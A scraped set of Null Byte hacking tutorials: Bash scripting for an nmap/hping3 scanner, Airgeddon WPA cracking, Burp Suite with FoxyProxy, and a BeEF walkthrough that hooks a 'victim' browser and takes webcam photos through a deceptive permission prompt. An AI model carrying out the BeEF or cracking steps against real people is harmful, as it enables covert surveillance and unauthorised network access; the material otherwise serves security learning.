Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Share Your iPhone's Internet Connection with Other DevicesHow To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:PAIRS Is the Easy Way to Restore Wi-Fi & Bluetooth Connections After Wiping Your PhoneHow To:Connect to Protected Wi-Fi Hotspots for Free Without Any PasswordsNews:Opera's Android Browser Just Got Native Ad-BlockingHow To:Fake Your GPS Location on Android to Trick Apps & Targeted AdsHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Turn your Motorola Droid Bionic smartphone into a mobile Wi-Fi hotspotHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Check Wi-Fi Reliability & Speed at Hotels Before Booking a RoomHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Find Saved WiFi Passwords in WindowsAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Enable Free WiFi Tethering on Android MarshmallowHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Stop Retail Stores from Tracking You While Shopping with Your Galaxy Note 3How To:This DIY WiFi-Detecting 'Sting' Blade Is Perfect for Any Hobbit Looking for a HotspotHow To:Auto-Toggle Your Android Device's Wi-Fi On and Off When Near or Away from a HotspotHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Get Free Wi-Fi from Hotels & MoreHow To:Get Free Wi-Fi Through Facebook's New Hotspot Check-In ProgramHow To:Change Your Android Device's Wi-Fi Country Code to Access Wireless Networks AbroadHow To:Use Your Chromecast Without WiFi
Hack Like a Pro: Scripting for the Aspiring Hacker, Part 2 (Conditional Statements) « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!I recently began aseries on scriptingand have received such positive feedback that I'm going to keep this series going. As I've said before, to graduate from the script kiddie to the pro hacker, you'll need to have some scripting skills. The better you are at scripting, the more advanced your hacking. Ultimately, we are leading up to developing the skills to build your own zero day exploits.I left off teaching you thebasics of shell scripting in BASHand built a simple script that utilizednmapwith our user-supplied inputs to scan for open ports on a range of IP addresses. I hope you saved that script, as we'll be building upon it here, adding additional functionality.Step 1: Open a Text EditorThe first step in building any script is to open a text editor. You can use any text editor, but I will be using kwrite in the KDE version ofBackTrack(if you are using the GNOME version, gedit works just as well).Now, in this lesson, we'll be studying conditional statements. Those are statements within our script that enable us to make decisions. In other words, "If this happens, do this. If the other happens, then do that."Step 2: If...then...elseThe most basic type of conditional statement that is available in nearly every programming language is theif...then...else. This enables us to check for a condition (if) and if it is true,thenexecute some statement or statements, orelsedo something different. Its basic form is:if<a conditional statement that evaluates to true or false>then<statements to execute when true>else<statements to execute if false>fiTheelseis optional, as the conditional statement will run without the else clause. In BASH shell scripting, every if..then must be closed with a "fi" or the reverse of the "if."Step 3: Let's Add a Conditional to Our Scanner ScriptNow that we have the basic concept of a conditional script, let's add one to our scanning script namedScannerscript. Let's ask the user whether they want to use nmap orhping3to scan the target. If they say they want nmap, then we can execute the original part of our script that does the nmap scan. If they want to use hping3, we will have to add a new section to gather info and then run an hping scan. So, our script structure should look like this:ifyou want to run nmapthenrun nmap prompts and commandselserun hping prompts and commandsStep 4: Create Our Conditional StatementNow, let's edit our Scannerscript to give the user a choice of either using nmap or hping to scan. First, we need ask the user which they want to use with anechostatement.echo "Would you like to scan using nmap or hping"This simply asks the user to enter which scanner they would like to use and enter it from the keyboard. Next, we need to capture their input into a variable named scanner.read scannerNow, comes the key part of our conditional statement, the if...then...else. We create a statement that checks to see what value the user entered when prompted, and then sends our script to either the nmap section, or our yet to be created hping section. We can do this with the following statement:if "$scanner" = "nmap" thenPlease note a few things here.First, theifis lowercase. Anything else will throw a "command not found" error. Second, I used double quotation marks around the value of the variablescanner. This is to indicate that I want a string to compare to the string "nmap". Third, when retrieving the value of a variable, I precede it with a$sign.Step 5: Build the Hping Scan SectionNow that we've developed our basic structure and logic of our conditional statement, let's build the hping section that will be executed if the user chooses they want to run an hping scan. Let's start by prompting the user for which IP address they want to scan and capturing the data into a variable calledIPaddress.echo "Which IP address would you like to scan? :read IPaddressNext, let's prompt the user which port they would like to scan and capture the data into a variable calledhpingport.echo "What port would you like to scan for ?:read hpingportFinally, let's ask the user how many packets they would like to send. Remember, hping continues to send packets until stopped just like the ping command in Linux (and unlike theping command in Windowsthat only sends 4 packets and then stops). We can determine how many packets to scan by using the-cswitch in the hping command. So, let's ask the user how many packets they would like to send and gather that info into a variable calledpackets.echo "How many packets would you like to send?"read packetsStep 6: Create Our hping3 Scan CommandNow we have all the information we need from the user and saved it into variables to create our hping3 command.hping3 -c $packets $IPaddress -p $hpingport > hpingscanThis statement says run the hping3 command and send$packetsnumber of packets to the$IPaddressIP address, scanning for$hpingportport open and send it all to a file namedhpingscan.Step 7: Let's Test ItTo run this script and see whether it works, let's first re-save it as Scannerscript. Now let's open a terminal and run it by typing;./ScannerscriptAs you can see, when I asked it to run the nmap scan, it did just that.Now, comes the critical part. Let's ask our Scannerscript to run an hping scan. To do so, it will have to check to see whether the user requested a nmap or hping scan, and if an hping scan, skip over the nmap section of our code and go directly to the hping section. This utilizes our conditional statement. Let's give it a try.Success! Our script enabled the user to select either a nmap or a hping scan by using the conditional if...then...else!Infuture tutorials, we will continue to build functionality to this script, so make sure you save it. We will eventually look at other scripting languages such as Perl, Ruby, and Python so we can build our own zero day exploit!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 3 (Building an FTP Password Cracker)How To:The Essential Skills to Becoming a Master HackerHow to Train Your Python:Part 6, If, Else, and Conditional StatementsNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 2 (Building a Port Scanner)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 2How To:Perl for the Aspiring Hacker - Part 1 - VariablesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:How Hackers Cover Their Tracks on an Exploited Linux Server with Shell ScriptingHow to Train Your Python:Part 12, Logical and Membership OperatorsHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:This Extensive Python Training Is Under $40 TodayHow To:Get Started Writing Your Own NSE Scripts for NmapHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)How To:Use conditional statements when writing ActionScript in Flash Professional CS5How To:Perl for the Aspiring Hacker (Control Statements)How To:Bash (Shell) Scripting for BeginnersGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:Schedule curtain panels in Revit conditional statementCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsNews:Indie and Mainstream Online Games Shut Down by LulzSec
Become a Big Data Expert with This 10-Course Bundle « Null Byte :: WonderHowTo
In today's data-driven world, being well-versed in Big Data and analytics can help land an exciting and high-paying career. Whether you're interested in working for a major tech company or pursuing freelance work in development, you need to have a thorough understanding of the latest and greatest platforms in analytics if you want to succeed.TheComplete 2020 Big Data and Machine Learning Bundlecomes with ten courses and over 600 lessons that will get you up to speed with the world's most popular and powerful data and machine learning methodologies and tools, and it's currently available for over 95% off at just $39.90.This extensive training bundle will help you outpace the competition in a wide variety of data-driven career fields, through comprehensive training that's easy to understand regardless of your experience level.If you view yourself as a Big Data and machine learning novice, start with the introductory course that walks you through the basic terminology of the field. You'll finish this course with a solid grasp of everything from fundamental theoretical concepts to the more nuanced ways in which data pros are applying their knowledge in the real world.From there, you'll be ready to move on to more advanced topics having to do with various programming languages likePython, the role of Big Data in large-scale analytical environments, data processing methods that will allow you to gain valuable insights from massive sets of information, and more.There's also extensive instruction that covers the increasingly important and lucrative world of machine learning — through lessons that focus on everything from deep learning algorithms to artificial intelligence, neural networks, Hadoop, and beyond.Get the skills and tools you need to thrive in a world that's dependent on data and analytics. Usually priced at $1,295, the Complete 2020 Big Data and Machine Learning Bundle is on sale forjust $39.90— over 95% off MSRP for a limited time.Prices are subject to change.The Complete 2020 Big Data and Machine Learning Bundle for Just $39.90Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byThisisEngineering RAEng/UnsplashRelatedHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Learn How to Speculate & Make Money as a Day Trader While You're Stuck at HomeHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Here's the Ultimate Guide to Becoming a Data NinjaHow To:Hack Your Business Skills with These Excel CoursesHow To:Harness the Power of Big Data with This eBook & Video Course BundleDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:This Extensive Python Training Is Under $40 TodayHow To:Become a Big Data Master for Under $30How To:Become a Data Wizard with This Microsoft Excel & Power BI TrainingHow To:Understand Math Like an Engineer for Under $30How To:Make Your Next Career Move with These Online CoursesHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Become a Productive Microsoft Apps Power User with 97% Off This Course BundleHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPDeal Alert:Get 68 Hours of Lessons on Hadoop, Elasticsearch, Python & More for Under $40How To:Become a Productivity Master with Google Apps ScriptHow To:Learn the Most Widely Used Programming Language for $35How To:Become an In-Demand Web Developer with This $29 TrainingDeal Alert:Learn the Stock Market Inside & Out for Under 30 BucksNews:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Harness the Power of Big Data with This 10-Course BundleHow To:Go from Total Beginner to Cloud Computing Certified with This Top-Rated Bundle of Courses, Now 98% OffHow To:Take Your Productivity to the Next Level with This Google Masterclass BundleHow To:Explore Data Analysis & Deep Learning with This $40 Training BundleHow To:Harness the Power of Big Data with This 10-Course BundleHow To:This Top-Rated Course Will Make You a Linux MasterHow To:Leap into Cybersecurity with This Ethical Hacking BundleHow To:Become an In-Demand IT Pro with This Cisco TrainingHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:This Course Bundle Will Teach You How to Start & Grow a Business
Video: How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OS « Null Byte :: WonderHowTo
A weak password is one that is short, common, or easy to guess. Equally bad are secure but reused passwords that have been lost by negligent third-party companies like Equifax and Yahoo. Today, we will useAirgeddon, a wireless auditing framework, to show how anyone can crack bad passwords for WPA and WPA2 wireless networks in minutes or seconds with only a computer and network adapter.To follow this guide, you'll needa wireless network adapter capable of monitor mode and packet injection. You will also need a computer capable of runningVirtualBox, an open-source hypervisor, software that can create and run multiple virtual machines. This should be easy since VirtualBox has downloads for Windows, macOS, and Linux.Don't Miss:How to Build a Software-Based Wi-Fi Jammer with AirgeddonYou can also downloada copy of Parrot Security OS(aka ParrotSec) to run in VirtualBox if you'd like everything to work like in our video guide below. If you want to download the ParrotSec ISO but you'd also like to stay off any NSA lists, you can alwaysuse a proxy server to download the image file while hiding your IP address.Don't Miss:How to Get Started with ParrotSec, a Modern Pentesting DistroIf you're already set up on Arch or Kali Linux, you can alsoinstall Airgeddon and any dependenciesfollowing the directions on GitHub, and then follow along. One thing to note: Airgeddon needs to open other windows to work, so this won't work via SSH (Secure Shell), only VNC (Virtual Networking Computer) or with a screen.As you can see in the video above, a WPA handshake can be grabbed in seconds, leaving the strength of your password as your last line of defense. If this can't stand up to a reasonable assault, your data is as good as gone if an attacker decides to knock on the door of your network.Don't Miss:Automating Wi-Fi Hacking with Besside-ngIf you're looking for some help, there are plenty of ways to prevent yourself from being easy to attack with this method. Never reuse passwords, and always make sure touse secure passwords hackers won't like. Password managers likeLastPassalso allow you to create and sync secure passwords that are much harder to brute-force. Lastly, never share your Wi-Fi password when you don't need to, and change it regularly if you have to share your password at all.Thanks for watching, pleasesubscribe to Null Byte on YouTube for more content, and happy cracking!Follow Null Byte onTwitter,Google+, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Kody/Null ByteRelatedHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Recover a Lost WiFi Password from Any DeviceHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Crack Wi-Fi Passwords—For Beginners!How To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!How To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Share Any Password from Your iPhone to Other Apple DevicesHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHacking Android:How to Create a Lab for Android Penetration TestingHow To:GPU Accelerate Cracking Passwords with HashcatHow To:How Hackers Steal Your Internet & How to Defend Against ItRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Get Free Wi-Fi from Hotels & MoreSecure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenNews:Richard Stallman's RiderHow To:Carve Saved Passwords Using Cain
How to Use Burp & FoxyProxy to Easily Switch Between Proxy Settings « Null Byte :: WonderHowTo
One of the best ways todig into a websiteand look for vulnerabilities is by using aproxy. By routing traffic through a proxy like Burp Suite, you can discover hidden flaws quickly, but sometimes it's a pain to turn it on and off manually. Luckily, there is abrowseradd-on calledFoxyProxythat automates this process with a single click of a button.Why Use a Proxy Switcher?A proxy switcher is a tool, usually in the form of a browser add-on, that allows one to turn a proxy on and off or cycle between multiple proxies with the click of a button. It saves loads of time as it usually takes many clicks to enable or disable a proxy.It is beneficial forsecurity researchers and penetration testersbecause the time saved messing around with settings can be put to better use, especially when exploring a website for testing. It can get annoying having to turn the proxy on and off constantly, but the use of a proxy switcher makes the process trivial.Don't Miss:Generate a Clickjacking Attack with Burp Suite to Steal User ClicksFoxyProxy is a popular proxy switcher available for bothFirefoxandGoogle Chrome. Here, we will be installing and configuring FoxyProxy in Firefox to use in conjunction with Burp Suite.Step 1: Add FoxyProxy to FirefoxThe first thing we need to do is start Firefox and navigate to the Add-ons Manager. You can do so by using theCtrl Shift pshortcut, clicking the "Open menu" button in the toolbar then "Add-ons," or hitting "Tools" in the menu bar followed by "Add-ons."Click "Find more add-ons" on thePersonalize Your Firefoxpage for "Get Add-ons," and search for FoxyProxy.We will use FoxyProxy Basic as it offers enough functionality for what we need. Alternatively, instead of going through all of the above steps, you can just godirectly to FoxyProxy Basic's extension page.We can then click "Add to Firefox" to add the extension.Make sure to hit "Add" on the prompt to allow access to what it needs.We will then be directed to FoxyProxy's page, which includes a changelog and a bit more information.Step 2: Add a Custom ProxyThere should now be a little icon in the upper-right area of the browser, next to bookmarks or whatever else is in the toolbar. Click the icon and select "Options" to go to the settings page.Next, click "Add" to add a custom proxy.With Burp Suite up and running, go to the "Options" tab under "Proxy." We just want to confirm the defaultIP address and portsince it needs to match in FoxyProxy.Now we can fill in the information and give it a title to keep things organized.Click "Save," and our proxy should now appear on the main settings page.Now, all we have to do is enable it while Burp is running, allowing us to effortlessly switch the proxy on and off or even switch between different proxies. Click the icon and select "Use proxy Burp for all URLs (ignore patterns)" to turn it on.Step 3: Add the Burp CA (If Not Already Done)Now if we navigate to a website, we will receive an insecure connection warning.We could make an exception each time we load a new page, but this would get annoying fast. Instead, we can add Burp'scertificateto our browser, so it remains a trusted authority. To do this, navigate to the interface Burp is running on in the browser.Click on "CA Certificate," and save the file.Next, go to "Preferences," and scroll all the way to the bottom on the "Privacy & Security" page.Click "View Certificates," and hit the "Import" button.Now we can select the certificate file we just downloaded.A prompt will open asking if we want to trust a new Certificate Authority. Select "Trust this CA to identify websites" and hit "OK" to save.Now if we view our certificates, we will find the PortSwigger (the company that makes Burp Suite) certificate is installed.Step 4: Test the Custom ProxyIf we send a request through Burp now, it should be successful.Step 5: Fix SSL Errors (If Necessary)One error that may arise is related toSSLrecords.I found the easiest fix for this was to simply downgrade theTLS version from 1.3 to 1.2. Note: do this at your own risk — TLS 1.2 is still widely used and relatively secure, but know that you won't be running the most recent version in your browser.Navigate to the "about:config" page in the browser, and click "I accept the risk!" to continue.Search for "security.tls" and double-click on "security.tls.version.max" to change the settings.Change the value to "3" to downgrade to TLS 1.2. Yes, I know, this is sort of confusing, but it is what it is.Step 6: Test the Custom Proxy AgainNow, when we visit a website and send the request through Burp, it completes successfully, and we don't get any more errors.When we are done, or if we want to disable the proxy temporarily, click the FoxyProxy icon again, and select "Turn Off FoxyProxy (Use Firefox Setting)" to return to the default settings for Firefox.Wrapping UpWe learned about proxy switchers and what the advantages of using them are. We installed and configured a browser add-on called FoxyProxy that allowed us to turn a proxy, like Burp Suite, on and off with a single click. We also covered some configuration issues, including setting the Certificate Authority and getting Burp to work with TLS. Now that FoxyProxy is installed, more time can be spent finding bugs and not messing with settings.Don't Miss:Attack Web Applications with Burp Suite & SQL InjectionWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bygeralt/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Generate a Clickjacking Attack with Burp Suite to Steal User ClicksHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:Bypass File Upload Restrictions Using Burp SuiteHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)Hack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)How To:Hack SAML Single Sign-on with Burp SuiteHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Add Proxies to Your ProxyChains Config File the Lazy Way ;)How To:Bypass School Internet Filters to Unblock WebsitesHow To:Hide Your IP Address with a Proxy ServerHow To:Use Charles Proxy to View the Data Your Mobile Apps Send & ReceiveHow To:Correctly burp a babyHow To:Use a proxy with Firefox to hide your IP addressSPLOIT:How to Make a Proxy Server in PythonThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateHow To:Use Tortunnel to Quickly Encrypt Internet TrafficNews:Play BF3 Today! (1 day early)Anonymous Browsing in a Click:Add a Tor Toggle Button to ChromeHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Bypass DansGuardian in Chrome, Firefox & Internet ExplorerHow To:Block Unwanted Ads on an iPad/iPhone—No Jailbreak RequiredHow To:Bypass a Local Network Proxy for Free InternetTor vs. I2P:The Great Onion Debate
How to Take Pictures Through a Victim's Webcam with BeEF « Null Byte :: WonderHowTo
Recently, I've been experimenting withBeEF (Browser Exploitation Framework), and to say the least, I'm hooked. When using BeEF, you must "hook" the victims browser. This means that you must run the script provided by BeEF, which is titled "hook.js", in the victims browser. Once you've done that, you can run commands against the victims browser and cause all kinds of mayhem. Among these commands, there is an option to use the victims webcam. This is what we'll be doing here today, so, let's get cooking!Step 1: Start Up and Log into BeEFIf we're going to be using BeEF, we should start it first. In Kali 2.0, BeEF is conveniently located on the dock to the side of the desktop. For those of you using Kali 1.X, you can start BeEF by entering the following command...service beef-xss startNow that we've started BeEF, we can log into it. Let's open up our browser and navigate the BeEF login page, which is located at 127.0.0.1:3000/ui/panel. So let's navigate to that page and login!When you navigate to the login page, you will be greeted with an authentication box as seen above. The default username and password are both "beef". Now we can login to BeEF and get started!Step 2: Set Up the HookIn order to hook the victims browser, we must run the script "hook.js" within their browser. The way we'll be doing it today is we'll be setting up an apache web server that runs the script when connected to. So, let's start by making a simple web page by editing the index.html file.We can see in the above screenshot that the desired HTML file is located at /var/ww/html. Now let's launch into gedit and make our web page!We can see in the above HTML, we've directed the script to the BeEF script by entering the address hosted by BeEF. After we've sourced the script to BeEF, we have set the body of the web page to simply say "You have been hooked!". Now that we have our HTML for our page, let's start up apache!The apache service can be started with the following command...service apache2 startOnce we run this command we should be able to navigate to our address in the browser and have the hook script run on the victim.Step 3: Hook the VictimNow that we have our web server started and set up, we can hook any victims that connect to it. To start, let's look in BeEF to make sure we don't have any browsers that are currently hooked.As we can see it he above screenshot, the only hooked browser we have is our own. So, any victims that connect to our apache server will run the hook script within their browser and appear here! Now let's go to our victim machine and navigate to our address from their browser...We simply enter the attacker address in the address bar and connect to it. We should be greeted by a page like below.Now that we've connected to our apache server, we can go back to BeEF on the attacking machine to see if the hook worked.There we go! The victims browser is now hooked. Now that we've done this, we can run commands against their browser.Step 4: Run the Webcam CommandThere are many commands that you can run within BeEF. These commands are located under the commands tab. Once we locate the commands tab, we select the webcam option...Now in order to use the webcam, we must get the users permission first, so we might need to use a little social engineering in order to entice the user to give us permission. Once we select the webcam command we will be greeted with some options to the right.The default text is saying that we are requesting permission to use Adobe Flash Player. You can change these to say whatever you want, but we'll be leaving them as they are. Now we simply press the "execute" button to the bottom right of the page. Once we've done this we'll go to the victims machine and see the permission request.Now we're back on the victim machine, we can see that the page has changed. It now says that Adobe Flash Player needs to be allowed, and it has provided a dialogue box which gives us the options to allow or deny. We'll press allow and wait for the photos to be taken.Step 5: Decode the ImagesNow when the photos are taken, they will return back to us as a string. This means that instead of a photo, we'll get a jumbled mash of letters, numbers, and forward slashes. Once we get these strings back we'll have to decode them from base64. The first thing we need to do in order to do this is copy the text into a file.The strings that are returned to use areverylong. But once you have it copied into a text file, the hard part is over.Now that we have one of our returned strings copied into a file, we can decode it. Let's navigate to our file first (In this case I've placed it on the desktop) and run the following command...This command signifies base64, gives the "-d" switch, which means decode, and points to the file we named "base64string". It then writes the output to a file named "picture.jpg". Once we run this command we should see the image file appear on our desktop.There we have it! We were able to set up a site to hook the victim, do so, and then take pictures through the webcam the gave us access to!Step 6: Feedback!Leave any comments, questions, or anything of the like that you have!Thank you for reading!-DefaltWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHow To:Use BeEF and JavaScript for ReconnaissanceHow To:BeEF+Ettercap:Pwning MarriageHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookHow To:Hook Web Browsers with MITMf and BeEFHow To:The FBI Can Spy on Your Webcam Undetected: Here's How to Stop ThemHow To:This DIY Burger King "Fly-Thru" Dishes Out Fast Food for the BirdsExploiting XSS with BeEF:Part 2How To:Use beEF (Browser Exploitation Framework)Exploiting XSS with BeEF:Part 3Hack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHow To:Square dance the Square Thru (2,3,4), Wheel AroundHow To:BeEF - the Browser Exploitation Framework Project OVER WANInvisible Driver:The Absolute Best McDonald's Drive-Thru Prank EverHow To:Find Vulnerable Webcams Across the Globe Using ShodanHow To:Hack the Target Using Social Networking part1:via SKYPEHow To:Square dance the Ocean Wave, Swing Thru, Run, TradesHow To:Turn Your Smartphone into a Wireless Webcam with These 5 AppsNews:The SnatchNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxToy Challenge:Lego DinosaurSelf-Portrait Challenge:Phil... Just PhilNews:Drive-ThruNews:Top 10 Beef-less Burgers in LANews:"Down With Drive-Throughs!"News:My Epic Sh*t Slide Wake UpNews:Reverse Drive-ThruHow To:Make Bourbon-Spiked ChiliSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Bypass a Local Network Proxy for Free InternetNews:Amazing 3D video capture using KinectNews:Top 5 Favorite Farmers Markets in LANews:Parking lot beat downHow To:Do a Cross Trail Thru (8 Chain Thru) square dance step
How to Hack WPA2 Wi-Fi Passwords Using Jedi Mind Tricks (& USB Dead Drops) « Null Byte :: WonderHowTo
